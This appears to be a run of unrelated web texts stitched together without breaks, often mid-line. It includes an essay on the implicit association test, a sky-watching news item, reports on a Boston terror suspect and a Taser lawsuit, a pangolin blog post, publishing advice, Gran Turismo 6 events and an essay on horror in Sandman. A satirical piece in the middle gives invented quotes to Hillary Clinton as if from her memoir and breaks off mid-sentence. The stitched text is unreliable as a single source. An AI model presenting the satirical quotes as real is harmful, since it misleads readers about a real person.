To Forscher, implicit bias’s role in propagating racial inequality should be given a “fair trial in the court of scientific evidence,” not simply assumed. But what’s going on now isn’t a fair trial; instead, the overhyping of IAT stacks the deck so much that sometimes it feels like implicit bias can explain everything. But plenty of researchers think that other factors play a bigger role in determining some of the most important societal outcomes. “I think unconscious racial prejudice is real and consequential,” said Robb Willer, a sociologist at Stanford University, “but my sense is that racial inequality in America is probably driven more by structural factors like concentrated poverty, the racial wealth gap, differential exposure to violence, the availability of early childhood education, and so on. Though it is also worth noting that past and present racial prejudice helped create these structural inequalities.” This is a fairly common sentiment among social scientists who study race and discrimination.
So it’s an open question, at least: The scientific truth is that we don’t know exactly how big a role implicit bias plays in reinforcing the racial hierarchy, relative to countless other factors. We do know that after almost 20 years and millions of dollars’ worth of IAT research, the test has a markedly unimpressive track record relative to the attention and acclaim it has garnered. Leading IAT researchers haven’t produced interventions that can reduce racism or blunt its impact. They haven’t told a clear, credible story of how implicit bias, as measured by the IAT, affects the real world. They have flip-flopped on important, baseline questions about what their test is or isn’t measuring. And because the IAT and the study of implicit bias have become so tightly coupled, the test’s weaknesses have caused collateral damage to public and academic understanding of the broader concept itself. As Mitchell and Tetlock argue in their book chapter, it is “difficult to find a psychological construct that is so popular yet so misunderstood and lacking in theoretical and practical payoff” as implicit bias. They make a strong case that this is in large part due to problems with the IAT.
Unless and until new research is published that can effectively address the countless issues with the implicit association test, it might be time for social psychologists interested in redressing racial inequality to reexamine their decision to devote so much time and energy to this one instrument. In the meantime, the field will continue to be hampered in its ability to provide meaningful answers to basic questions about how implicit bias impacts society, because answering those questions requires accurate tools. So, contra Banaji, scrutinizing the IAT and holding it to the same standards as any other psychological instrument isn’t a sign that someone doesn’t take racism seriously: It’s exactly the opposite.CLOSE Enjoy a night sky triple treat this Friday night and early Saturday morning. USA TODAY NETWORK
A flock of birds fly by as a super moon rises in Mir, Belarus, on Sept. 27, 2015. A penumbral lunar eclipse will be visible over most of the U.S. Friday evening. (Photo: Sergei Grits, AP)
Skywatchers will enjoy a rare space triple-header Friday night and early Saturday morning: A "penumbral" lunar eclipse during the full "snow" moon — and the flyby of a comet.
Here's a look at what you will see if you set your eyes to the night sky:
Penumbral lunar eclipse
Eagle-eyed skywatchers will see a "penumbral" lunar eclipse Friday evening during the full moon.
Not as spectacular — or noticeable — as a total lunar eclipse, this rather subtle phenomenon occurs when the moon moves through the outer part of Earth’s shadow (known as the penumbra), according to EarthSky.org.
The outer shadow of the Earth blocks part — but not all — of the sun's rays from reaching the moon, making it appear slightly darker than usual.
The exact moment of the penumbral eclipse is 7:43 p.m. ET (6:43 p.m. CT, 5:43 p.m. MT and 4:43 p.m. PT), NASA said.
The eclipse will be visible from Europe, Africa, western Asia and eastern North and South America, NASA reports.
About 35% of all eclipses are of the penumbral type.
Full "snow" moon
As required during any lunar eclipse, the moon will be full Friday night. And this month it's nicknamed the "snow" moon.
According to the Farmers' Almanac, full moon names date back to Native Americans in the northern and eastern U.S. Each full moon has its own name.
"The tribes kept track of the seasons by giving distinctive names to each recurring full moon," the almanac reports. "Their names were applied to the entire month in which each occurred."
Calling February's full moon the "snow" moon is right on target: On average, February is the USA's snowiest month, according to data from the National Weather Service.
The Farmer's Almanac reports some tribes referred to February's moon as the "hunger" moon, because harsh weather conditions made hunting difficult.
Comet 45P
A few hours after the eclipse, Comet 45P, which has been visible after sunset for the past two months through binoculars and telescopes, makes its closest approach to Earth, when it will be "only" 7.4 million miles away, NASA said.
Look to the east around 3 a.m. Saturday morning, where it will be visible in the sky in the constellation Hercules. Binoculars or a telescope could be helpful. Watch for a bright blue-green "head" with a tail.
It will be visible in various points of the night sky until the end of February, according to NASA. If you miss it, don't worry: It will return again in 2022, said Jane Houston Jones of NASA's Jet Propulsion Laboratory.
Read or Share this story: http://usat.ly/2kJId2oA terror suspect who was shot and killed by a Boston cop Tuesday was under 24-hour surveillance because he had made statements indicating he desired to attack police officers, sources briefed on the case told ABC News.
The FBI knew Usaama Rahim was armed and potentially dangerous and moved on him Tuesday morning when it appeared the threat he posed to uniformed officers in the Boston area had somehow increased, the sources said. He had been under surveillance by the FBI's Joint Terrorism Task Force, ABC News has learned.
In a related arrest, Massachusetts State Police and Boston police arrested a man in nearby Everett, later identified as David Wright, who had also allegedly expressed an interest in taking up the ISIS call to attack police.
The FBI and Rhode Island State Police conducted a related search of a location in Warwick, Rhode Island, but no arrests were made there.
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PATRIOT Act Provisions Expire: What Happens Next
The FBI had been tracking Rahim, 26, for several weeks, and authorities are looking into whether he may have been radicalized by ISIS propaganda online, law enforcement sources said.
Such radicalization "represents the newest element of the terrorist threat facing the country, where we have individuals who affiliate with terrorist ideologies but do not coordinate their operational activities with terrorist organizations," said John Cohen, a former top Homeland Security official who is now an ABC News contributor.
"This poses the most significant counter-terrorism challenge" for U.S. authorities since the 9/11 attacks, Cohen added.
An officer and an FBI agent approached Rahim a little after 7 a.m. Tuesday in the parking lot of a CVS in Roslindale, Massachusetts, police said. The suspect then "came at the officers" with a "military-style knife," police said.
Surveillance video from the scene shows officers "retreating... and kept retreating," trying to get Rahim to drop the weapon, but he wouldn't, Boston Police Commissioner William Evans said at a news conference. So when the officers' lives were in danger, they discharged their weapons, Evans said.
Law enforcement wanted to question Rahim after receiving "some terrorist-related information," according to Evans. Specifically, Boston police and the FBI wanted to talk with Rahim "about his intentions in some other matters that we turned up," said Vincent Lisi, the head of the FBI's Boston field office.
Lisi wouldn't say if other suspects tied to Rahim were still on the streets, but he insisted, "We don't think there's any concern to public safety out there right now."
Police in Everett, Massachusetts, just outside of Boston, made an arrest in connection with the investigation involving Rahim, authorities said, noting the arrest was made at the request of the Joint Terrorism Task Force.
Additionally, there are a number of related searches in the area that are related to the investigation, sources told ABC News.
Early-morning approaches by law enforcement like the one that led to Rahim's death are unusual, according to Steve Gomez, the former head of FBI counter-terrorism efforts in Los Angeles.
The move may have been intended as "a disruption" to put Rahim "on notice" that authorities -- without sufficient evidence to build a legal case -- are watching him, or police and FBI may have been trying to obtain his cooperation in a related investigation, said Gomez, an ABC News consultant and contributor.
Either way, it all seems representative of what is going on throughout the FBI, which is aiming to take proactive steps even in "marginal types of terrorism cases" where it's too soon to tell exactly what suspects are up to -- but the FBI doesn't want to take any chances, according to Gomez.
Rahim died at Brigham and Women's Hospital, police said.VICTORVILLE — A left-behind family of a man killed by cops has filed a wrongful death lawsuit against San Bernardino County for excessive force.
Dante Parker was electrocuted as many as 27 times as cops shot him repeatedly with a Taser gun, according to the lawsuit.
Dante’s five children and his wife were devastated when he died after the electrical shock.
The incident occurred when Dante dropped his children off at school.
After he left them in school, he went on a bike ride around 4 PM.
He was riding his bike down Luna Rd when he was stopped by Officer Irwin.
Officer Irwin claimed to be responding to a report about a suspicious black male who was attempting to break into houses.
It is presumed that at some point during the questioning, an argument ensued, though the lawsuit does not specify.
At one point during the interaction, Officer Irwin began shooting Dante with a Taser gun, electrocuting his body and causing his muscles to involuntarily tighten and contract.
Other cops quickly arrived at the scene and began Tasing Dante even more, at least 25 times until his body became limp and he fell to the ground.
The cops then hogtied Dante’s limp body as he begged and said “I can’t breathe.”
They then lifted him up while he was hogtied and pushed him into the back seat of a police car, face down.
The inside of the police car was scorching hot as the weather outside reached almost 100 degrees.
Shortly thereafter, Dante’s heart stopped and he was pronounced dead.
The Sheriff Department’s defense is that Dante was “combative” with the officer, causing the officer to “fear for life.”
But Dante’s family believes the police murdered their father.
The family is suing for an unspecified amount in damages.
Watch video below:by Donna Amis Davis / @DonnaAmisDavis
See this cute, unusual little animal? It is a pangolin, also known as a scaly anteater. Some have described this animal as a walking pine cone, or an artichoke with a tail. During a recent trip to the San Diego Zoo, this little guy was featured in a Keeper Talk. We were fascinated, as pangolins are native to Palawan. We thought we would be meeting a homie. But no, this one, pictured above is actually from Africa. We learned there are eight species of pangolins, distributed in Africa and Asia. The species living on Palawan is called the Palawan or Philippine pangolin (Manis culionensis). Imagine that. Culion is an island in the north of Palawan Province.
Which reminds me of a trip to the San Diego Zoo many years ago, when we spotted a parrot that looked exactly like the parrots on Palawan. We zoomed in closer to read the little plate with the bird’s name, and guess what it was called? “Palawan Parrot.” Well.
Palawan Pangolin
We knew we had a picture of a Palawan Pangolin somewhere in our old photo albums. And there it is, above! This picture was taken sometime in 1983 or 1984. One day, very early in our life among the Palawano people, one of the local hunters brought this little guy to our house. He offered to sell it to us. We declined, not knowing what we would possibly do with such a critter. Which may have been one of the worse decisions we ever made. What if we had kept it, and let it loose to live in our yard, or somewhere near by? Pangolins burrow into termite mounds and eat thousands and thousands, some say millions, of termites a year. We could have had a natural method of termite control. Instead, the hunter probably ended up eating the pangolin. We’re continually battling termites in our house. And we have not seen another Palawan Pangolin since then.
World’s Quirkiest Animal?
Pangolins have many unique characteristics:
They can roll themselves into a ball when threatened. Their abdominal muscles are very strong, so they stay tightly curled up when a predator tries to unroll them.
They are covered with scales made of keratin, the same material that makes up fingernails, hair and horn. Their scales make up 20% of their body weight.
Despite the scales, they are mammals, with fur on their underbelly and throats.
They are nocturnal and have very weak eyes. Their eyes are small, and their eyelids are tough, so when they are burrowing in a termite mound and getting bit over and over from the insects, they can close their eyes and be protected. Amazing!
They can close their nostrils and ears to keep insects out.
They have a very keen sense of smell, and can smell insects underground.
Their front legs are strong and have long claws. They are designed to be digging machines.
When they tunnel underground, they clear out the sides and roofs of passages by pushing up and from side to side with their tough scaly bodies.
Most species, including the Philippine pangolin, have prehensile tails.
They have no teeth, but consume their prey whole.
Their stomachs contain small rocks and pebbles to help digest the insects they consume – much like the gizzard of a chicken.
Their tongues are very long, sticky and muscular. They are attached near their pelvic area and last pair or ribs, not their mouth!
(Alert: here is where I start my little soapbox rant. I just have an easier time believing in an Intelligent Designer, a Creator God, when it comes to ‘adaptations’ like the pangolins’ tongue. I mean, how would something like that evolve? Over thousands and millions of years, the tongues that crept back from the mouth and down the throat and through the stomach and ended up attaching themselves to the pelvic area, those are the animals that survived and thrived? The ones with creeping tongues? I just don’t believe it. By the way, two other animals have that same characteristic – the giant anteater and the tube-lipped nectar bat.)
So, How Do YOU Pronounce ‘Pangolin’?
OK, did I lose you there? No? Whew. Thanks for hanging with me. But now be warned, this next part is where I expose my Inner Language Nerd. My Philippine readers and I would pronounce pangolin like this: pong′-oh-leen. But the keeper at the San Diego Zoo pronounced it like this: pang′-guh-lynn. So we wondered what was correct? And why would an African animal have a Philippine-looking name? So here is what we learned. The dictionary says:
pangolin |ˈpa ng gəlin; pa ng ˈgōlin|
ORIGIN late 18th cent.: from Malay peng-guling, literally ‘roller’ (from its habit of rolling into a ball)
Oh! That makes sense! The original Malaysian word has ‘g’ twice. Malaysian and Philippine languages are from the same language family. For a Philippine language to be pronounced with the hard ‘g’ in the middle, it would have to be spelled panggolin. The Palawano word is for this cute little animal is similar to the Malaysian, tenggeling, as southern Palawan is really closely tied to Malaysia. Now, why does the African animal have a Malaysian name? We can only guess that the species was first ‘discovered’ and written about by settlers in Asia, then later the African animal counterpoint was ‘discovered.’
OK, enough of the language nerd stuff.
San Diego Zoo Pangolin
The next two pictures are ones I took at the San Diego Zoo, so they are of an African pangolin, one of the smallest species. The poor little guy is trying to protect his eyes, as it was bright out that day and being a nocturnal creature, he’s not used to sunshine.
In the picture below, you can see how agile the pangolin’s tail is.
By the way, it is an interesting story how the San Diego Zoo became custodians of the pangolin in these pictures. Apparently, seven years ago or so, officials caught wind of a shipment of pangolins from Africa for the illegal pet trade. The authorities were not able to stop the shipment before it left Africa, but did confiscate the animals upon arrival in the U.S. The animals had not had food or water during the course of their trip. Of 14 pangolins that left Africa, 9 died. Only five made it alive to the U.S. The zoo took the five remaining ones, and shortly three more died. The two remaining ones needed a lot of care. They had internal organ damage from the lack of food and water. Their digestive systems had shut down. The zoo keepers went through a long process of feeding them via tubes until their internal organs could function again. One lived a few years, and the one we met was perhaps seven years old.
Pangolins are Threatened and Endangered Animals
Pangolins do NOT make good pets. They are solitary and nocturnal. They only eat ants and termites. How foolish to try to import one for a pet! But the illegal pet trade is not the pangolin’s greatest danger. There is also an illegal trade in their meat. Most pangolins in international trade end up in China and Vietnam. The meat of the animals is considered a delicacy, and also believed to have health benefits such as nourishing the kidneys. Pangolin scales are used as an ingredient in traditional Asian medicines, though there is no evidence that they are effective. As a result, the pangolin population is in decline, and several species are endangered. The Palawan species is considered nearly threatened.
The drawing below is dated 1779! An Indian pangolin.
I was excited to find Pangorarium’s photo comparing all 8 species of pangolin. The Palawan pangolin is number 4, and the little guy at the San Diego Zoo is number 7, a Tree Pangolin. So you can see those two species are close in size, among the smallest ones. I was amazed to learn how big some pangolins are! (If you are interested, #1 Cape Pangolin or Temminck’s Ground Pangolin, #2 Chinese Pangolin, #3 Sunda Pangolin or Malayan Pangolin, #4 Philippine Pangolin, #5 Giant Ground Pangolin, #6 Indian or Thick-tailed Pangolin, #7 Tree Pangolin or African White-bellied Pangolin, #8 Long-tailed or Black-bellied Pangolin.)
February 15, 2014 is World Pangolin Day. Therefore, the perfect day to publish this little blog about these amazing creatures.
Watch a YouTube Video About Pangolins:
Meet the Pangolin!
Check out Save Pangolins.org http://savepangolins.org/ Consider ‘liking’ the World Pangolin Day page on Facebook: https://www.facebook.com/WorldPangolinDay or Pangorarium on Facebook: https://www.facebook.com/Pangorarium?group_id=0
https://www.donnaamisdavis.com/philippine-pangolin/ Animals Wild & Tame Donna Amis Davis,endangered animals,native animals,Palawan,pangolin,San Diego Zoo by Donna Amis Davis / @DonnaAmisDavis See this cute, unusual little animal? It is a pangolin, also known as a scaly anteater. Some have described this animal as a walking pine cone, or an artichoke with a tail. During a recent trip to the San Diego Zoo, this little guy... Donna Amis Davis Donna Amis Davis donnaonpalawan@gmail.com Administrator Welcome to my website! This blog was formerly called Donna On Palawan, as I lived and worked on the beautiful island of Palawan for 30-plus years. Now I've returned to my hometown of San Diego, California. I've just finished writing a romantic-adventure novel set on Palawan, called By the Sulu Sea. Donna Amis Davis
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Like this: Like Loading...NEW YORK—In candid excerpts released Wednesday from her forthcoming memoir What Happened, Hillary Clinton reflects on her unsuccessful 2016 presidential bid, revealing to readers, “We all made mistakes, but you made most of them.” “I’m not suggesting it’s entirely your fault, but, let’s be frank, 99 percent of it is,” read one passage from the chapter entitled “Seriously, What Were You Thinking?” in which the former candidate conceded missteps she had made over the course of her campaign while also clarifying that none of them should have produced the final election outcome, which she characterized as “squarely on you fucking people.” “Indeed, fake news and Russian meddling played a part, and I’ve acknowledged I wasn’t the perfect candidate, but let’s not lose sight of the fact that the majority of the blame—all but the tiniest sliver—lies with you, the idiot voters. You really |
the hundreds of benefits, like pre-orders and customer reviews and the savings on print runs and returns that Amazon’s algorithms provide, they are trying to figure out how to put their best resource out of business. It boggles the mind. Like those authors who fear Amazon might take royalties away tomorrow, so are happy to give up those royalties today, publishers are siding with companies that are hurting them today out of fear of their greatest ally getting even more market share tomorrow. And readers and writers are the victims of this illogical behavior.
What is the solution? As a writer, the solution is to retain ownership of your rights. This has never been more important than it is today. E-book royalty rates are going to move to 50% of net. I know from some insiders that this is already happening for top-name authors and hot new acquisitions. Selling your manuscript now for half of what it will be worth in the very near future is a bad move. It takes years for books to come to market with a traditional publisher. If that is your publishing goal, exercise a bit more patience. Hold on to that manuscript (or self-publish it) while you write the next. Let the market come to you.
The other option is to embrace a smaller press that has more flexibility. Online print book sales and e-book adoption have helped level the playing field for small publishers. They are becoming more viable every single day. These are the true Davids. They now have the tools and ability to see their works sell to a wide audience and win awards. I put them as the second best option behind self-publishing, and I include Amazon’s imprints in this category. They offer higher royalty rates and terms similar to small presses, though some have grumbled lately that Amazon’s imprints are becoming more and more like the Big 5, so watch what you sign.
For readers, keep doing what you’re doing. Self-publishing and small presses are booming because you care about great stories, not where they come from. You are the disruptive force in this industry, and I say that with every ounce of love I can muster. Keep disrupting by doing what you do best: Read. Write reviews. Share your enthusiasm. Infect others. Spread the joy of this greatest of pastimes. And we will trust that those who cater to your needs and to the needs of the artists you admire will be the ones who come out on top. All others will need to change their ways or perish. If they do the former, let’s cheer for them. If they persist in the latter, let’s not be sad to see them go.Beginner Level Supercar Festival
Twin Ring Motegi Super Speedway, 5 Laps
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550PP Max, Sports/Hard compounds or less
Gold: 90,000cr, Silver: 54,000cr, Bronze: 45,000cr
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Intermediate Level American Muscle Challenge
Autumn Ring, 5 Laps
Period of Availability: 10/01/2014 23:00 – 10/15/2014 23:00
500PP Max, Sports/Soft compounds or less
Gold: 112,000cr, Silver: 67,200cr, Bronze: 56,000cr
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Period of Availability: 10/01/2014 23:00 – 10/15/2014 23:00
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Gold: 200,000cr, Silver: 120,000cr, Bronze: 100,000cr
Gift: GT Metallic 006-W
Be sure to stop by the new GT6 Seasonal Events forum for in-depth analysis and discussion, and tips and tricks.
GT6 Photomode image by GT_Racer22.
More Posts On...When Sandman began in 1989, Neil Gaiman was just another British writer following in the footsteps of the likes of Alan Moore. When it ended, Gaiman had created one of the most enduring long form pieces of fiction of the twentieth century and carved out a niche for himself as an industry giant. Sandman broke barriers and expectations taking comics into a new dawn of possibilities. By creating stories about the nature of dreams, Mr. Gaiman and his team of artists (including luminaries like Sam Keith, Dave McKean, Jill Thompson, Michael Zulli, and more) dared the comic industry to dream bigger.
Sandman transcended so-called industry limitations because it didn’t pigeonhole itself into one genre. Sandman was epic fantasy at its finest, grand in scope and ideas, it was a metaphysical examination on the nature of fiction, and it was, at its heart, a horror story. In a 1998 interview with Hero Complex, Neil Gaiman discussed the nature of horror at Sandman’s beginning, “At the beginning it was a horror comic. Those first eight issues was a sort of horror comic. After that it became more of, I guess, a fantasy tale, but one that allowed me to go off and write about Shakespeare or history.” Yes, after the first eight issues, Sandman morphed into something beyond a horror comic, but the horror roots remained throughout the book's 75 issue run, a dark sun at the center of a complex and ever changing universe, making Sandman one of the most influential horror comics in history.
Sandman was a unique project in that it explored myths and legends from every angle and iteration. It made the concept of story a character within a story, as all stories live in Dream, the series' Robert Smith quaffed protagonist. It was a non-linear endeavor, jumping around through time and space as quickly as it jumped around point-of-view. One issue would be told from the POV of Dream, another from William Shakespeare, another from an obscure, almost forgotten comic book character like Prez or Element Girl.
Not only did Sandman mine horror tropes of modern and classic fiction, it made the horror icons of the DC Universe an important part of the story. For years, DC Comics featured Cain & Abel, the Three Witches, and Destiny as the hosts of their line of horror anthologies. By the time Sandman was published, these characters were all but footnotes, but Gaiman made them integral parts of his mythos. Cain and Abel and the Witches would soon return in other titles, becoming iconic Vertigo staples. While Gaiman weaved his horror legend in Sandman, he made sure the roots of DC horror were never forgotten.
From the earliest issues of Sandman, the title’s horror roots were evident. In the first issue, Sandman is captured by the magician Roderick Burgess, who, in Gaiman’s story, is a rival of famed occultist Aleister Crowley. The Faustian deal is the first of an endless series of horror tropes utilized in Sandman. Burgess, based in part on seventeenth century real life alchemist, mathematician, and wannabe demon summoner, John Dee, was originally trying to capture Dream’s sister, Death, but ended up with the Sandman.
With the center of a familiar horror story beating, Gaiman spread his tale throughout the DC Universe and real life occult history. The inaugural issue ends, decades later, with Sandman escaping, punishing Burgess’ son with a lifetime of nightmares. The ironic and suitable revenge gives the first issue a Poe-like finality, as the guilty is punished through the destruction of a family legacy.
After Dream’s escape, the first volume of Sandman, "Preludes and Nocturnes," centered on Dream’s exploration of the DC Universe as he sought his magic totems. This quest took him inside the dreams of DC mainstays like Martian Manhunter and Mister Miracle, and even inside the walls of one of DC’s most horrific settings, Arkham Asylum. The very name of the prison for the insane was lifted from the works of H.P. Lovecraft creating a perfect synergy of horror elements from pulp literature and comics.
Before his journey takes him to Arkham, Dream finds himself in Hell, the root point of all supernatural horror tales. In this setting, Gaiman gets to play with horror elements like demons, the damned, and the nature of eternal torment. Most of all, readers are introduced to Lucifer, a character who defies his own archetype and comes off as a multi-layered character where evil is just a small piece of a complex puzzle. He is a sophisticate, an aristocrat, a polite devil (and occasional David Bowie lookalike), who wants to play a game of wits with Dream.
There is no greater horror icon than Lucifer, but Gaiman stretches the genre to shape Lucifer into a new type of horror, a self-aware demon inflicted with ennui. Gaiman ask the question, if the most evil being in creation finds existence meaningless, what chance do the rest of us mere mortals have. At Lucifer’s side was Mazikeen, a demoness who had half her visage rotted and peeled away. In Mazikeen, we see the temptress on one side, the crone on the other, a physical horror who had her once beautiful form transformed into a monstrosity. The kiss shared by Mazikeen and Lucifier remains one of the most enduring and disturbing visuals in the entire series. In The Sandman’s new world of horror, the things that go bump in the night had fears of their own.
This willingness to shake the fabric of myth and legend was seen in Sandman’s next stop, Arkham Asylum. Gaiman took readers to Hell, but now he took them to Hell on Earth, where readers were reintroduced to the Silver Age Justice League villain, Dr. Destiny. Veteran readers knew Dr. Destiny as a classic Justice League villain, but as usual, Gaiman defied convention, and even the most stone hearted comic book reader could not be prepared for what Destiny would do next.
Wielding Dream’s mind controlling ruby, Destiny experiments on a group of diner customers, what follows is one of the most claustrophobic, harrowing, and visceral stories ever to appear on a comic page. The reading experience is enhanced by the fact that readers were familiar with Destiny: once he was a "safe" villain, going only as far as comic villains go, no different than, say, a Kanjar Ro or an Insect Queen, but now, this familiar baddie from the bygone days of childhood had committed unspeakable acts. Like all great horror stories, Sandman had turned the sacred into the profane, the innocence of the Silver Age into the anything goes carnival ride that was the experimental age, or, as MTV Geek says in this 2012 review, ”the story asks what would happen if you gave a complete and utter lunatic the power of a god?” After the Destiny issue, fans knew that there was no safety net for this series, that the horror was real, and it would not spare the innocent.
The Sandman series became more of a modern Dark Fantasy in “The Doll’s House” rather than the pure horror of “Preludes and Nocturnes,” but there can be no doubt that both classic and innovative horror elements are part of the second volume. Where the story starts out as a modern fantasy quest, there are plenty of stopovers in the protagonist’s (Rose) journey into realms of true horror. Early on in the second volume, Sandman meets an escaped nightmare from the realm of Dreaming, the Corinthian.
If one considers horror to be reality out of control, the Corinthian is the metaphysical idea that pushed reality off the rails. He is a horrid creature, two mouths where his eyes should be and absolutely no morals. The Corinthian is the nightmare archetype, to match the Jungian ideas embodied in other characters like Cain, Abel, Eve, and Fiddler’s Green. When readers see the Corinthian’s gaping maw of an orbital socket they understand a cloud just passed over the sun of the Dreaming. It’s one thing to have the Corinthian exist on metaphysical realm of the Dreaming, but it’s another to have this nightmare made flesh tear into the real world and threaten our all too flesh and blood heroine. In her brilliant look at horror archetypes, author Shannon Appelcline describes the archetype of the devourer, a category that the Corinthian certainly fits, “Some things do not wish to simply murder us, but rather to prey upon us instead. We provide some sort of substance to them, and in this way we are no more than cattle.” For the Corinthian, that sustenance would be human fear.
Along with beings like the Corinthian, there were contemporary nightmares to focus on. One of the most memorable of these modern terrors was the serial killer convention featured in “The Doll’s House.” Comic fans are certainly familiar with the convention experience, and by applying this joyful community activity to serial killers, Mr. Gaiman showed the horror of his world is just part of the landscape. The examination into the serial killer was given a fresh coat of paint in the fresh idea of a serial killer gathering, or as a 2013 article on this gathering of killers states, “Gaiman offers poignant observations that disturb and fascinate. What do serial killers talk about at a convention? Do they enjoy dancing? What do they like to drink? Indeed, their casual intrigues are some of the most notable moments of the issue.” This casual approach to the serial killer archetype somehow makes them even more frightening. The idea that these monsters get to enjoy their life through play and social interactions contrasts the final state of their victims. The convention shows that nightmare is not limited to the Dreaming.
The nature of horror is change, from the predictable to the uncontrollable, to the mundane to the unknowable. This theme can be seen in the transformation of man to wolf in the Wolfman, from living to dead in the countless zombie films of the past half century, or from man to demon in many films and stories, including DC’s own Etrigan the Demon. The nature of dream is change, from wakefulness to sleep, from reality to dream logic. Horror and dreaming are similar states where a person has no control. When a man dreams, he rolls the dice between metaphysical experiences, surreal experiences, and nightmare, so it was only natural that the natural order of things in the Dreaming was, at times, horror.
Volume three of Sandman, “Dream Country,” was an exploration of the different possibilities of dream. One such story juxtaposes the familiar elements of a super-hero tale with the horror of body alteration and mental illness. The unlikely protagonist of the story was Element Girl, an almost forgotten DC heroine. In the tale, Element Girl longs for death as she grows weary with her freakish metahuman anatomy. Tired of her existence as a super freak, Element Girl ponders suicide even though her powers make her functionally immortal. The tale explores the dark heart of a once innocent genre as Gaiman forces the horrors of self-doubt and self-loathing into the heart of a once innocent symbol of heroism. The story explores the theme of the horrors of everyday life to a being who has been gifted, or cursed, with the extraordinary. It is a poignant and gut wrenching tale that strangely ends on a happy note when Dream’s sister, Death, finally visits Element Girl granting her release. The constant irony of The Sandman is that Dream potentially brings horrors but Death always brings mercy and release.
The Sandman, being the living embodiment of dream, hands out rich fantasies and nightmares depending on his situation. Dream saves Rose in Doll’s House but willingly inflicts horrors on his own true love, Nada. In volume four, “Season of Mists,” Dream returns to Hell to release the woman he imprisoned there so long ago. Nada’s tragic tale is one of feminist horror as she takes on the role of victim and is tormented for her feminine nature. She is the roll of love, not temptress or vixen, but of a pure love that Dream could not reciprocate. She is the victim wandering in the darkness waiting for the monster to strike, but In Nada’s case, the monster was Gaiman’s protagonist blurring the lines between hero and monster in Gaiman’s world.
These lines are further blurred as Dream is given the key to Hell by Lucifer, who wishes to abandon his duties as Hell’s keeper. What follows is Dream’s quest to find the new ruler of Hell, as horror archetypes vie for the key. Gaiman humanizes them, filling the demons with unfulfilled desire and ambition. They become more than just boogiemen, but dreamers themselves. In fact, the story ends with the greatest monster in world history, Lucifer, the devil himself, sitting on a beach admiring a sunset. By having the antithesis of God studying God’s divine work, the traditional horror role is cast away, informing the reader that the greatest monsters are not always the ones cast in the role, as the suffering of Nada at the usually magnanimous Dream reminds us.
The horrors in Sandman are sometimes friendly, like the Dead Boy Detectives and Death herself, but they never stop being unsettling. Readers want to be Superman or Batman, that is the nature of heroic storytelling, but what reader is not chilled to the core by the Dead Boy Detectives? The reader is drawn to them, feels for them, and roots for them, but no reader would ever want to be them. That is their role in the hierarchy of horror: they may be likable, but they will always remain removed from the reader’s reliability. The same idea of the likable but chilling archetype is embodied in the witch, Thessaly. Like the Dead Boys, Thessaly is every inch a witch, and while she is likable and compelling, she is an incredibly unsettling character, because her character roots are firmly planted in the realm of horror.
Thessaly is introduced in volume five, “A Game of You,” a story that plays with gender identity and societal acceptance of those who dwell outside the accepted moralistic reality of the waking world. The main characters of the story are Barbie and Wanda. Wanda is a cross dresser defined by her birth role of male, but readers of Sandman get to see her in the metaphysical context of the Dreaming and she is every bit a women. The horror she is forced to endure is that her identity does not match up in the physical world and the dream world. In the world of Sandman, even monsters have their place, but Wanda is forced to exist removed from her given role. Her death and subsequent funeral are heart breaking and stays with a reader. Her tombstone, with her male name carved into it for eternity because her own family refuses to accept her identity, is as chilling and as brutal as any vampire, zombie, or serial killer. It is the horror of omission, and it is subtle but as enduringly brutal as any other event in Sandman.
Barbie defies her role as token bimbo and takes a heroes journey, but her greatest asset was Wanda, who was vilified and ostracized the same way monsters are because of her lack of comfortable gender role. Wanda’s horror is that nobody recognized the endless potential within her, or as Gaiman writes, “everybody has a secret world inside of them. I mean everybody. All of the people in the whole world — no matter how dull and boring they are on the outside. Inside them they've all got unimaginable, magnificent, wonderful, stupid, amazing worlds … not just one world. Hundreds of them. Thousands, maybe,” Wanda’s tragedy is that these worlds were marginalized and deemed impure. In this story, human judgment became the monster as equal to the Corinthian in its destructive power.
“Fables and Reflections” is volume six of Sandman and is an ambitious non-linear look at power throughout history. Each story not only focuses on the nature of power, but also the horror myths of many cultures. Within the confines of these stories The Sandman gives readers takes on classic monsters like Werewolves (The Hunt),demons from many cultures (Ramadan), the Greek version of Hell (The Song of Orpheus), the human horror of the French Revolution (Thermidor), and even a tale set firmly in the DC Universe is not excluded from the dark horrors of those that hunger for power (The Parliament of Rooks).
“The Song of Orpheus” is particularly embedded in horror tradition as Dream must sacrifice his son, Orpheus. Orpheus’ tale is an ancient myth given a modern spin by Gaiman, one that darkens an already enduring horror tale. Orpheus is forced to endure a beheading and an eternal existence as a sentient head. The trope of dismemberment and decapitation is ripe throughout horror history, and having it be a part of the story of someone so close to Dream makes the use of the body modification horror that much more effective and visceral. In the Orpheus tale and through the victimization of Nada, Dream, like dreams are wont to do, takes on more of a monster role.
Monsters, as Appelcline says, are “an easy formula — an easy way to create both feelings of horror in the face of evil and feelings of powerlessness in the face of power. It's an easy way to marry subtext and text in a well-known and accepted way,” and aren’t dreams a place where we often feel powerless and fearful? The creator of that state must be defined by the uncertain roles of dream. In Sandman, at times, the very nature of Dream is the ultimate horror, or as Rose Walker puts it in Doll’s House, ”If my dream was true, then everything we know, everything we think we know is a lie. It means the world's about as solid and as reliable as a layer of scum on the top of a well of black water which goes down forever, and there are things in the depths that I don't even want to think about. It means that we're just dolls.” If horror is manipulation of accepted reality, than the nature of dream is the master manipulator, the sleeping Satan that cannot have a stake driven though its heart and will not wilt to holy water.
It’s this dichotomy that makes Dream so fascinating. He can be the being saving Rose from the serial killers, or the monster that turned Nada into the eternal victim. His family, the Endless also exist in a series of dichotomies, the most disturbing being Delirium. Delirium takes center stage in “Brief Lives,” from Sandman volume seven. In “Brief Lives,” Delirium and Dream go on a heroic quest through modern America to find their lost brother Destruction.
Delirium fits the horror archetype of the broken girl, her every utterance a reminder of a horrific tragedy that forever altered her being. Delirium was once Delight and something so bad happened to the once giddily happy girl that she is now a Dadaistic amorphous creature barely held together. She is the consequence of being a victim and a constant reminder that even hypothetical beings can know suffering. The quest takes Dream and Delirium to the dark corners of America, and Dream must reconcile with the horrors that betook his son Orpheus. In this story, Sandman is a caretaker for Delirium but also still the monster responsible for what happened to Orpheus, two opposing natures that he must rectify if he and his little sister are to find Destruction.
